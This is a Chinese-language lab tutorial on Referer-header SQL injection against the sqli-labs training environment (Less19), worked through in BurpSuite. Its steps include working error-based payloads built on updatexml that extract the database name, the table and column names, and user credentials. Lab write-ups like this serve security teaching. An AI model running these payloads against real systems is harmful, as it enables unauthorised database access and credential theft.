1 概述
- Referer :是 HTTP 请求头的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.sojson.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:Referer=https://www.sojson.com。
- Referer 的作用:指示一个请求是从哪里链接过来。
- Referer 注入:referer注入其原理也和平时的注入一样,只不过说我们是将提交的参数以referer的方式提交。
- 一般的注入我们是使用get或者post方式提交:
- get方式提交就是直接在网址后面加上需要注入的语句;
- post则是通过表单方式,
- get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
2 实验简介
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 获取网站后台数据库账号及密码。
3 实验过程
3.1 前戏
- 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less19,打开页面如下。
- 该关卡模拟登录页面注入,先尝试Dumb账户(密码也是Dumb)登录,登录后页面显示如下,页面上显示出了referer参数信息,给我们带来了注入点的提示。
- 在BurpSuite工具的intercept界面开启 intercept is on,重新加载上一步的页面,让BurpSuite获取到请求,将请求右键发送到repeater工具,点击forward。
- 在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的请求,点击发送,可以看到响应中有referer的信息,因此猜测该字段内容可以回显到页面上,可能存在注入。
3.2 判断注入点及注入类型
- 正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找http头部信息能否注入,本节实验省去了测试其他位置能否注入的过程,仅为演示如何进行referer注入。
- 回到repeater界面,对请求进行编辑,referer信息修改为
test
,测试响应是否能回显该处内容。可以看到正常显示。
- 修改参数为
test'
时,系统出现错误提示,由此我们猜测是因为多了一个单引号引起引号未正常闭合的情况。与以往不同的时,这里的错误语句还出现了一串包括IP和账号在内的其他语句,我们可以猜测,系统将该语句拼接到我们注入参数后一并执行。
- 修改参数为
test' and '1'='1
,程序正常运行,说明该参数为单引号闭合的字符型注入。
- 结论:该参数注入信息会回显到响应中,是一个注入点,且该参数为为单引号闭合的字符型注入。
3.3 获取库名表名字段名字段内容
- 获取库名。修改参数为
test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1
,此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接如后台后不影响后续语句的运行,这是该闭合方式比采用#
号等方式的高明之处。通过该参数,我们爆出了该网站所在数据库名。
- 获取表名。修改cookie参数为
test' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database() ),'~'),1) and '1'='1
,共爆出4个表名,其中users是我们所要的目标。
- 获取字段名。修改参数为
test' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'~'),1) and '1'='1
,响应如下,共爆出3个字段名。
- 获取用户数量。考虑到updatexml()函数回显字符长度有限,先获取用户数量,再逐个获取用户名与密码。修改参数为
test' and updatexml(1,concat('~',(select count(username) from users),'~'),1) and '1'='1
,响应中错误提示如下,可知共有13个用户。
- 获取第一个用户账号及密码。修改参数为
test' and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) and '1'='1
,响应中错误提示如下,可知第一个账号密码均为Dumb,剩余账号密码只需修改limit参数便可逐个取出。
3.4 实验结果
- 实验成功爆出网站后台数据库账号及密码。
- 实验关键在于构建能够闭合引号的注入参数。
4 总结
- 了解referer的含义与作用;
- 掌握referer注入的方法。